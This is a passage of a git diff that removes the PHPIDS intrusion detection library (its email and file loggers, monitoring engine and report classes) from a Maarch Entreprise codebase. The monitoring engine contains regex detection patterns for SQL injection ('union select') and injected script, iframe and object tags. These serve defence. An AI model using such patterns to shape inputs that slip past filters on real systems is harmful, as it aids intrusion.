IDS_Report instance - * - * @throws Exception if data is no string - * @return boolean - */ - public function execute(IDS_Report $data) - { - - if ($this->safemode) { - if ($this->isSpamAttempt()) { - return false; - } - } - - /* - * In case the data has been modified before it might - * be necessary to convert it to string since it's pretty - * senseless to send array or object via e-mail - */ - $data = $this->prepareData($data); - - if (is_string($data)) { - $data = trim($data); - - // if headers are passed as array, we need to make a string of it - if (is_array($this->headers)) { - $headers = ""; - foreach ($this->headers as $header) { - $headers .= $header . "\r\n"; - } - } else { - $headers = $this->headers; - } - - if (!empty($this->recipients)) { - if (is_array($this->recipients)) { - foreach ($this->recipients as $address) { - $this->send( - $address, - $data, - $headers, - $this->envelope - ); - } - } else { - $this->send( - $this->recipients, - $data, - $headers, - $this->envelope - ); - } - } - - } else { - throw new Exception( - 'Please make sure that data returned by - IDS_Log_Email::prepareData() is a string.' - ); - } - - return true; - } - - /** - * Sends an email - * - * @param string $address email address - * @param string $data the report data - * @param string $headers the mail headers - * @param string $envelope the optional envelope string - * - * @return boolean - */ - protected function send($address, $data, $headers, $envelope = null) - { - if (!$envelope || strpos(ini_get('sendmail_path'),' -f') !== false) { - return mail($address, - $this->subject, - $data, - $headers); - } else { - return mail($address, - $this->subject, - $data, - $headers, - '-f' . $envelope); - } - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/File.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/File.php deleted file mode 100755 index 76be41831e7129c50d8a52368527121571d40621..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/File.php +++ /dev/null @@ -1,229 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Log/Interface.php'; - -/** - * File logging wrapper - * - * The file wrapper is designed to store data into a flatfile. It implements the - * singleton pattern. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:File.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Log_File implements IDS_Log_Interface -{ - - /** - * Path to the log file - * - * @var string - */ - private $logfile = null; - - /** - * Instance container - * - * Due to the singleton pattern this class allows to initiate only one - * instance for each file. - * - * @var array - */ - private static $instances = array(); - - /** - * Holds current remote address - * - * @var string - */ - private $ip = 'local/unknown'; - - /** - * Constructor - * - * @param string $logfile path to the log file - * - * @return void - */ - protected function __construct($logfile) - { - - // determine correct IP address and concat them if necessary - $this->ip = $_SERVER['REMOTE_ADDR'] . - (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? - ' (' . $_SERVER['HTTP_X_FORWARDED_FOR'] . ')' : ''); - - $this->logfile = $logfile; - } - - /** - * Returns an instance of this class - * - * This method allows the passed argument to be either an instance of - * IDS_Init or a path to a log file. Due to the singleton pattern only one - * instance for each file can be initiated. - * - * @param mixed $config IDS_Init or path to a file - * @param string $classname the class name to use - * - * @return object $this - */ - public static function getInstance($config, $classname = 'IDS_Log_File') - { - if ($config instanceof IDS_Init) { - $logfile = $config->getBasePath() . $config->config['Logging']['path']; - } elseif (is_string($config)) { - $logfile = $config; - } - - if (!isset(self::$instances[$logfile])) { - self::$instances[$logfile] = new $classname($logfile); - } - - return self::$instances[$logfile]; - } - - /** - * Permitting to clone this object - * - * For the sake of correctness of a singleton pattern, this is necessary - * - * @return void - */ - private function __clone() - { - } - - /** - * Prepares data - * - * Converts given data into a format that can be stored into a file. - * You might edit this method to your requirements. - * - * @param mixed $data incoming report data - * - * @return string - */ - protected function prepareData($data) - { - - $format = '"%s",%s,%d,"%s","%s","%s","%s"'; - - $attackedParameters = ''; - foreach ($data as $event) { - $attackedParameters .= $event->getName() . '=' . - rawurlencode($event->getValue()) . ' '; - } - - $dataString = sprintf($format, - urlencode($this->ip), - date('c'), - $data->getImpact(), - join(' ', $data->getTags()), - urlencode(trim($attackedParameters)), - urlencode($_SERVER['REQUEST_URI']), - $_SERVER['SERVER_ADDR'] - ); - - return $dataString; - } - - /** - * Stores given data into a file - * - * @param object $data IDS_Report - * - * @throws Exception if the logfile isn't writeable - * @return boolean - */ - public function execute(IDS_Report $data) - { - - /* - * In case the data has been modified before it might be necessary - * to convert it to string since we can't store array or object - * into a file - */ - $data = $this->prepareData($data); - - if (is_string($data)) { - - if (file_exists($this->logfile)) { - $data = trim($data); - - if (!empty($data)) { - if (is_writable($this->logfile)) { - - $handle = fopen($this->logfile, 'a'); - fwrite($handle, trim($data) . "\n"); - fclose($handle); - - } else { - throw new Exception( - 'Please make sure that ' . $this->logfile . - ' is writeable.' - ); - } - } - } else { - throw new Exception( - 'Given file does not exist. Please make sure the - logfile is present in the given directory.' - ); - } - } else { - throw new Exception( - 'Please make sure that data returned by - IDS_Log_File::prepareData() is a string.' - ); - } - - return true; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Interface.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Interface.php deleted file mode 100755 index 551532f6f6ca8205638cf9134c1a45a69b876b8a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Interface.php +++ /dev/null @@ -1,65 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * Interface for logging wrappers - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @version Release: $Id:Interface.php 517 2007-09-15 15:04:13Z mario $ - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ -interface IDS_Log_Interface -{ - /** - * Interface method - * - * @param IDS_Report $data the report data - * - * @return void - */ - public function execute(IDS_Report $data); -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Monitor.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Monitor.php deleted file mode 100755 index ee5cf97b73473d27fbce657ebb1141082466eff6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Monitor.php +++ /dev/null @@ -1,778 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * Monitoring engine - * - * This class represents the core of the frameworks attack detection mechanism - * and provides functions to scan incoming data for malicious appearing script - * fragments. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Monitor.php 949 2008-06-28 01:26:03Z christ1an $ - * @link http://php-ids.org/ - */ -class IDS_Monitor -{ - - /** - * Tags to define what to search for - * - * Accepted values are xss, csrf, sqli, dt, id, lfi, rfe, spam, dos - * - * @var array - */ - private $tags = null; - - /** - * Request array - * - * Array containing raw data to search in - * - * @var array - */ - private $request = null; - - /** - * Container for filter rules - * - * Holds an instance of IDS_Filter_Storage - * - * @var object - */ - private $storage = null; - - /** - * Results - * - * Holds an instance of IDS_Report which itself provides an API to - * access the detected results - * - * @var object - */ - private $report = null; - - /** - * Scan keys switch - * - * Enabling this property will cause the monitor to scan both the key and - * the value of variables - * - * @var boolean - */ - public $scanKeys = false; - - /** - * Exception container - * - * Using this array it is possible to define variables that must not be - * scanned. Per default, utmz google analytics parameters are permitted. - * - * @var array - */ - private $exceptions = array(); - - /** - * Html container - * - * Using this array it is possible to define variables that legally - * contain html and have to be prepared before hitting the rules to - * avoid too many false alerts - * - * @var array - */ - private $html = array(); - - /** - * JSON container - * - * Using this array it is possible to define variables that contain - * JSON data - and should be treated as such - * - * @var array - */ - private $json = array(); - - /** - * Holds HTMLPurifier object - * - * @var object - */ - private $htmlpurifier = NULL; - - /** - * Path to HTMLPurifier source - * - * This path might be changed in case one wishes to make use of a - * different HTMLPurifier source file e.g. if already used in the - * application PHPIDS is protecting - * - * @var string - */ - private $pathToHTMLPurifier = ''; - - /** - * HTMLPurifier cache directory - * - * @var string - */ - private $HTMLPurifierCache = ''; - - /** - * This property holds the tmp JSON string from the - * _jsonDecodeValues() callback - * - * @var string - */ - private $tmpJsonString = ''; - - - /** - * Constructor - * - * @param array $request array to scan - * @param object $init instance of IDS_Init - * @param array $tags list of tags to which filters should be applied - * - * @return void - */ - public function __construct(array $request, IDS_Init $init, array $tags = null) - { - $version = isset($init->config['General']['min_php_version']) - ? $init->config['General']['min_php_version'] : '5.1.6'; - - if (version_compare(PHP_VERSION, $version, '<')) { - throw new Exception( - 'PHP version has to be equal or higher than ' . $version . ' or - PHP version couldn\'t be determined' - ); - } - - - if (!empty($request)) { - $this->storage = new IDS_Filter_Storage($init); - $this->request = $request; - $this->tags = $tags; - - $this->scanKeys = $init->config['General']['scan_keys']; - - $this->exceptions = isset($init->config['General']['exceptions']) - ? $init->config['General']['exceptions'] : false; - - $this->html = isset($init->config['General']['html']) - ? $init->config['General']['html'] : false; - - $this->json = isset($init->config['General']['json']) - ? $init->config['General']['json'] : false; - - if(isset($init->config['General']['HTML_Purifier_Path']) - && isset($init->config['General']['HTML_Purifier_Cache'])) { - - $this->pathToHTMLPurifier = - $init->config['General']['HTML_Purifier_Path']; - - $this->HTMLPurifierCache = $init->getBasePath() - . $init->config['General']['HTML_Purifier_Cache']; - } - - } - - if (!is_writeable($init->getBasePath() - . $init->config['General']['tmp_path'])) { - throw new Exception( - 'Please make sure the ' . - htmlspecialchars($init->getBasePath() . - $init->config['General']['tmp_path'], ENT_QUOTES, 'UTF-8') . - ' folder is writable' - ); - } - - include_once 'IDS/Report.php'; - $this->report = new IDS_Report; - } - - /** - * Starts the scan mechanism - * - * @return object IDS_Report - */ - public function run() - { - - if (!empty($this->request)) { - foreach ($this->request as $key => $value) { - $this->_iterate($key, $value); - } - } - - return $this->getReport(); - } - - /** - * Iterates through given data and delegates it to IDS_Monitor::_detect() in - * order to check for malicious appearing fragments - * - * @param mixed $key the former array key - * @param mixed $value the former array value - * - * @return void - */ - private function _iterate($key, $value) - { - - if (!is_array($value)) { - if (is_string($value)) { - - if ($filter = $this->_detect($key, $value)) { - include_once 'IDS/Event.php'; - $this->report->addEvent( - new IDS_Event( - $key, - $value, - $filter - ) - ); - } - } - } else { - foreach ($value as $subKey => $subValue) { - $this->_iterate($key . '.' . $subKey, $subValue); - } - } - } - - /** - * Checks whether given value matches any of the supplied filter patterns - * - * @param mixed $key the key of the value to scan - * @param mixed $value the value to scan - * - * @return bool|array false or array of filter(s) that matched the value - */ - private function _detect($key, $value) - { - - // define the pre-filter - $prefilter = '/[^\w\s\/@!?\.]+|(?:\.\/)|(?:@@\w+)' - . '|(?:\+ADw)|(?:union\s+select)/i'; - - // to increase performance, only start detection if value - // isn't alphanumeric - if (!$this->scanKeys - && (!$value || !preg_match($prefilter, $value))) { - return false; - } elseif($this->scanKeys) { - if((!$key || !preg_match($prefilter, $key)) - && (!$value || !preg_match($prefilter, $value))) { - return false; - } - } - - // check if this field is part of the exceptions - if (is_array($this->exceptions)) { - foreach($this->exceptions as $exception) { - $matches = array(); - if(preg_match('/(\/.*\/[^eE]*)$/', $exception, $matches)) { - if(isset($matches[1]) && preg_match($matches[1], $key)) { - return false; - } - } else { - if($exception === $key) { - return false; - } - } - } - } - - // check for magic quotes and remove them if necessary - if (function_exists('get_magic_quotes_gpc') - && get_magic_quotes_gpc()) { - $value = stripslashes($value); - } - if(function_exists('get_magic_quotes_gpc') - && !get_magic_quotes_gpc() - && version_compare(PHP_VERSION, '5.3.0', '>=')) { - $value = preg_replace('/\\\(["\'\/])/im', '$1', $value); - } - - // if html monitoring is enabled for this field - then do it! - if (is_array($this->html) && in_array($key, $this->html, true)) { - list($key, $value) = $this->_purifyValues($key, $value); - } - - // check if json monitoring is enabled for this field - if (is_array($this->json) && in_array($key, $this->json, true)) { - list($key, $value) = $this->_jsonDecodeValues($key, $value); - } - - // use the converter - include_once 'IDS/Converter.php'; - $value = IDS_Converter::runAll($value); - $value = IDS_Converter::runCentrifuge($value, $this); - - // scan keys if activated via config - $key = $this->scanKeys ? IDS_Converter::runAll($key) - : $key; - $key = $this->scanKeys ? IDS_Converter::runCentrifuge($key, $this) - : $key; - - $filters = array(); - $filterSet = $this->storage->getFilterSet(); - foreach ($filterSet as $filter) { - - /* - * in case we have a tag array specified the IDS will only - * use those filters that are meant to detect any of the - * defined tags - */ - if (is_array($this->tags)) { - if (array_intersect($this->tags, $filter->getTags())) { - if ($this->_match($key, $value, $filter)) { - $filters[] = $filter; - } - } - } else { - if ($this->_match($key, $value, $filter)) { - $filters[] = $filter; - } - } - } - - return empty($filters) ? false : $filters; - } - - - /** - * Purifies given key and value variables using HTMLPurifier - * - * This function is needed whenever there is variables for which HTML - * might be allowed like e.g. WYSIWYG post bodies. It will dectect malicious - * code fragments and leaves harmless parts untouched. - * - * @param mixed $key - * @param mixed $value - * @since 0.5 - * @throws Exception - * - * @return array - */ - private function _purifyValues($key, $value) - { - /* - * Perform a pre-check if string is valid for purification - */ - if(!$this->_purifierPreCheck($key, $value)) { - return array($key, $value); - } - - include_once $this->pathToHTMLPurifier; - - if (!is_writeable($this->HTMLPurifierCache)) { - throw new Exception( - $this->HTMLPurifierCache . ' must be writeable'); - } - - if (class_exists('HTMLPurifier')) { - $config = HTMLPurifier_Config::createDefault(); - $config->set('Attr.EnableID', true); - $config->set('Cache.SerializerPath', $this->HTMLPurifierCache); - $config->set('Output.Newline', "\n"); - $this->htmlpurifier = new HTMLPurifier($config); - } else { - throw new Exception( - 'HTMLPurifier class could not be found - ' . - 'make sure the purifier files are valid and' . - ' the path is correct' - ); - } - - $value = preg_replace('/[\x0b-\x0c]/', ' ', $value); - $key = preg_replace('/[\x0b-\x0c]/', ' ', $key); - - $purified_value = $this->htmlpurifier->purify($value); - $purified_key = $this->htmlpurifier->purify($key); - - $redux_value = strip_tags($value); - $redux_key = strip_tags($key); - - if ($value != $purified_value || $redux_value) { - $value = $this->_diff($value, $purified_value, $redux_value); - } else { - $value = NULL; - } - if ($key != $purified_key) { - $key = $this->_diff($key, $purified_key, $redux_key); - } else { - $key = NULL; - } - - return array($key, $value); - } - - /** - * This method makes sure no dangerous markup can be smuggled in - * attributes when HTML mode is switched on. - * - * If the precheck considers the string too dangerous for - * purification false is being returned. - * - * @param mixed $key - * @param mixed $value - * @since 0.6 - * - * @return boolean - */ - private function _purifierPreCheck($key = '', $value = '') - { - /* - * Remove control chars before pre-check - */ - $tmp_value = preg_replace('/\p{C}/', null, $value); - $tmp_key = preg_replace('/\p{C}/', null, $key); - - $precheck = '/<(script|iframe|applet|object)\W/i'; - if(preg_match($precheck, $tmp_key) - || preg_match($precheck, $tmp_value)) { - - return false; - } - return true; - } - - - /** - * This method calculates the difference between the original - * and the purified markup strings. - * - * @param string $original the original markup - * @param string $purified the purified markup - * @param string $redux the string without html - * @since 0.5 - * - * @return string the difference between the strings - */ - private function _diff($original, $purified, $redux) - { - /* - * deal with over-sensitive alt-attribute addition of the purifier - * and other common html formatting problems - */ - $purified = preg_replace('/\s+alt="[^"]*"/m', null, $purified); - $purified = preg_replace('/=?\s*"\s*"/m', null, $purified); - $original = preg_replace('/\s+alt="[^"]*"/m', null, $original); - $original = preg_replace('/=?\s*"\s*"/m', null, $original); - $original = preg_replace('/style\s*=\s*([^"])/m', 'style = "$1', $original); - - # deal with oversensitive CSS normalization - $original = preg_replace('/(?:([\w\-]+:)+\s*([^;]+;\s*))/m', '$1$2', $original); - - # strip whitespace between tags - $original = trim(preg_replace('/>\s*</m', '><', $original)); - $purified = trim(preg_replace('/>\s*</m', '><', $purified)); - - $original = preg_replace( - '/(=\s*(["\'`])[^>"\'`]*>[^>"\'`]*["\'`])/m', 'alt$1', $original - ); - - // no purified html is left - if (!$purified) { - return $original; - } - - // calculate the diff length - $length = mb_strlen($original) - mb_strlen($purified); - - /* - * Calculate the difference between the original html input - * and the purified string. - */ - $array_1 = preg_split('/(?<!^)(?!$)/u', html_entity_decode(urldecode($original))); - $array_2 = preg_split('/(?<!^)(?!$)/u', $purified); - - // create an array containing the single character differences - $differences = array(); - foreach ($array_1 as $key => $value) { - if (!isset($array_2[$key]) || $value !== $array_2[$key]) { - $differences[] = $value; - } - } - - // return the diff - ready to hit the converter and the rules - if(intval($length) <= 10) { - $diff = trim(join('', $differences)); - } else { - $diff = mb_substr(trim(join('', $differences)), 0, strlen($original)); - } - - // clean up spaces between tag delimiters - $diff = preg_replace('/>\s*</m', '><', $diff); - - // correct over-sensitively stripped bad html elements - $diff = preg_replace('/[^<](iframe|script|embed|object' . - '|applet|base|img|style)/m', '<$1', $diff); - - if (mb_strlen($diff) < 4) { - return null; - } - - return $diff . $redux; - } - - /** - * This method prepares incoming JSON data for the PHPIDS detection - * process. It utilizes _jsonConcatContents() as callback and returns a - * string version of the JSON data structures. - * - * @param mixed $key - * @param mixed $value - * @since 0.5.3 - * - * @return array - */ - private function _jsonDecodeValues($key, $value) { - - $tmp_key = json_decode($key); - $tmp_value = json_decode($value); - - if($tmp_value && is_array($tmp_value) || is_object($tmp_value)) { - array_walk_recursive($tmp_value, array($this, '_jsonConcatContents')); - $value = $this->tmpJsonString; - } else { - $this->tmpJsonString .= " " . $tmp_value . "\n"; - } - - if($tmp_key && is_array($tmp_key) || is_object($tmp_key)) { - array_walk_recursive($tmp_key, array($this, '_jsonConcatContents')); - $key = $this->tmpJsonString; - } else { - $this->tmpJsonString .= " " . $tmp_key . "\n"; - } - - return array($key, $value); - } - - /** - * This is the callback used in _jsonDecodeValues(). The method - * concatenates key and value and stores them in $this->tmpJsonString. - * - * @param mixed $key - * @param mixed $value - * @since 0.5.3 - * - * @return void - */ - private function _jsonConcatContents($key, $value) { - - if(is_string($key) && is_string($value)) { - $this->tmpJsonString .= $key . " " . $value . "\n"; - } else { - $this->_jsonDecodeValues( - json_encode($key), json_encode($value) - ); - } - } - - /** - * Matches given value and/or key against given filter - * - * @param mixed $key the key to optionally scan - * @param mixed $value the value to scan - * @param object $filter the filter object - * - * @return boolean - */ - private function _match($key, $value, $filter) - { - if ($this->scanKeys) { - if ($filter->match($key)) { - return true; - } - } - - if ($filter->match($value)) { - return true; - } - - return false; - } - - /** - * Sets exception array - * - * @param mixed $exceptions the thrown exceptions - * - * @return void - */ - public function setExceptions($exceptions) - { - if (!is_array($exceptions)) { - $exceptions = array($exceptions); - } - - $this->exceptions = $exceptions; - } - - /** - * Returns exception array - * - * @return array - */ - public function getExceptions() - { - return $this->exceptions; - } - - /** - * Sets html array - * - * @param mixed $html the fields containing html - * @since 0.5 - * - * @return void - */ - public function setHtml($html) - { - if (!is_array($html)) { - $html = array($html); - } - - $this->html = $html; - } - - /** - * Adds a value to the html array - * - * @since 0.5 - * - * @return void - */ - public function addHtml($value) - { - $this->html[] = $value; - } - - /** - * Returns html array - * - * @since 0.5 - * - * @return array the fields that contain allowed html - */ - public function getHtml() - { - return $this->html; - } - - /** - * Sets json array - * - * @param mixed $json the fields containing json - * @since 0.5.3 - * - * @return void - */ - public function setJson($json) - { - if (!is_array($json)) { - $json = array($json); - } - - $this->json = $json; - } - - /** - * Adds a value to the json array - * - * @param string the value containing JSON data - * @since 0.5.3 - * - * @return void - */ - public function addJson($value) - { - $this->json[] = $value; - } - - /** - * Returns json array - * - * @since 0.5.3 - * - * @return array the fields that contain json - */ - public function getJson() - { - return $this->json; - } - - /** - * Returns storage container - * - * @return array - */ - public function getStorage() - { - return $this->storage; - } - - /** - * Returns report object providing various functions to work with - * detected results. Also the centrifuge data is being set as property - * of the report object. - * - * @return object IDS_Report - */ - public function getReport() - { - if (isset($this->centrifuge) && $this->centrifuge) { - $this->report->setCentrifuge($this->centrifuge); - } - - return $this->report; - } - -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Report.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Report.php deleted file mode 100755 index 6b8c282d2be45c5b7e2de91cd6318d4ac589b012..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Report.php +++ /dev/null @@ -1,341 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * PHPIDS report object - * - * The report objects collects a number of events and thereby presents the - * detected results. It provides a convenient API to work with the results. - * - * Note that this class implements Countable, IteratorAggregate and - * a __toString() method - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Report.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Report implements Countable, IteratorAggregate -{ - - /** - * Event container - * - * @var array - */ - protected $events = array(); - - /** - * List of affected tags - * - * This list of tags is collected from the collected event objects on - * demand when IDS_Report->getTags() is called - * - * @var array - */ - protected $tags = array(); - - /** - * Impact level - * - * The impact level is calculated on demand by adding the results of the - * event objects on IDS_Report->getImpact() - * - * @var integer - */ - protected $impact = 0; - - /** - * Centrifuge data - * - * This variable - initiated as an empty array - carries all information - * about the centrifuge data if available - * - * @var array - */ - protected $centrifuge = array(); - - /** - * Constructor - * - * @param array $events the events the report should include - * - * @return void - */ - public function __construct(array $events = null) - { - if ($events) { - foreach ($events as $event) { - $this->addEvent($event); - } - } - } - - /** - * Adds an IDS_Event object to the report - * - * @param object $event IDS_Event - * - * @return object $this - */ - public function addEvent(IDS_Event $event) - { - $this->clear(); - $this->events[$event->getName()] = $event; - - return $this; - } - - /** - * Get event by name - * - * In most cases an event is identified by the key of the variable that - * contained maliciously appearing content - * - * @param scalar $name the event name - * - * @throws InvalidArgumentException if argument is invalid - * @return mixed IDS_Event object or false if the event does not exist - */ - public function getEvent($name) - { - if (!is_scalar($name)) { - throw new InvalidArgumentException( - 'Invalid argument type given' - ); - } - - if ($this->hasEvent($name)) { - return $this->events[$name]; - } - - return false; - } - - /** - * Returns list of affected tags - * - * @return array - */ - public function getTags() - { - if (!$this->tags) { - $this->tags = array(); - - foreach ($this->events as $event) { - $this->tags = array_merge($this->tags, - $event->getTags()); - } - - $this->tags = array_values(array_unique($this->tags)); - } - - return $this->tags; - } - - /** - * Returns total impact - * - * Each stored IDS_Event object and its IDS_Filter sub-object are called - * to calculate the overall impact level of this request - * - * @return integer - */ - public function getImpact() - { - if (!$this->impact) { - $this->impact = 0; - foreach ($this->events as $event) { - $this->impact += $event->getImpact(); - } - } - - return $this->impact; - } - - /** - * Checks if a specific event with given name exists - * - * @param scalar $name the event name - * - * @throws InvalidArgumentException if argument is illegal - * - * @return boolean - */ - public function hasEvent($name) - { - if (!is_scalar($name)) { - throw new InvalidArgumentException('Invalid argument given'); - } - - return isset($this->events[$name]); - } - - /** - * Returns total amount of events - * - * @return integer - */ - public function count() - { - return count($this->events); - } - - /** - * Return iterator object - * - * In order to provide the possibility to directly iterate over the - * IDS_Event object the IteratorAggregate is implemented. One can easily - * use foreach() to iterate through all stored IDS_Event objects. - * - * @return ArrayObject the event collection - */ - public function getIterator() - { - return new ArrayObject($this->events); - } - - /** - * Checks if any events are registered - * - * @return boolean - */ - public function isEmpty() - { - return empty($this->events); - } - - /** - * Clears calculated/collected values - * - * @return void - */ - protected function clear() - { - $this->impact = 0; - $this->tags = array(); - } - - /** - * This method returns the centrifuge property or null if not - * filled with data - * - * @return array or null - */ - public function getCentrifuge() - { - return ($this->centrifuge && count($this->centrifuge) > 0) - ? $this->centrifuge : null; - } - - /** - * This method sets the centrifuge property - * - * @param array $centrifuge the centrifuge data - * - * @throws InvalidArgumentException if argument is illegal - * - * @return boolean true is arguments were valid - */ - public function setCentrifuge($centrifuge = array()) - { - if (is_array($centrifuge) && $centrifuge) { - $this->centrifuge = $centrifuge; - return true; - } - throw new InvalidArgumentException('Invalid argument given'); - } - - /** - * Directly outputs all available information - * - * @return string - */ - public function __toString() - { - if (!$this->isEmpty()) { - $output = ''; - $output .= 'Total impact: ' . $this->getImpact() . "<br/>\n"; - $output .= 'Affected tags: ' . join(', ', $this->getTags()) . - "<br/>\n"; - - foreach ($this->events as $event) { - $output .= "<br/>\nVariable: " . - htmlspecialchars($event->getName()) . ' | Value: ' . - htmlspecialchars($event->getValue()) . "<br/>\n"; - $output .= 'Impact: ' . $event->getImpact() . ' | Tags: ' . - join(', ', $event->getTags()) . "<br/>\n"; - - foreach ($event as $filter) { - $output .= 'Description: ' . $filter->getDescription() . - ' | '; - $output .= 'Tags: ' . join(', ', $filter->getTags()) . - ' | '; - $output .= 'ID: ' . $filter->getId() . - "<br/>\n"; - } - } - - $output .= '<br/>'; - - if ($centrifuge = $this->getCentrifuge()) { - $output .= 'Centrifuge detection data'; - $output .= '<br/> Threshold: ' . - ((isset($centrifuge['threshold'])&&$centrifuge['threshold']) ? - $centrifuge['threshold'] : '---'); - $output .= '<br/> Ratio: ' . - ((isset($centrifuge['ratio'])&&$centrifuge['ratio']) ? - $centrifuge['ratio'] : '---'); - if(isset($centrifuge['converted'])) { - $output .= '<br/> Converted: ' . $centrifuge['converted']; - } - $output .= "<br/><br/>\n"; - } - } - - return isset($output) ? $output : ''; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Version.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Version.php deleted file mode 100755 index 094551f07715e9fd8d08a192d08b505fda9b29a6..0000000000000000000000000000000000000000 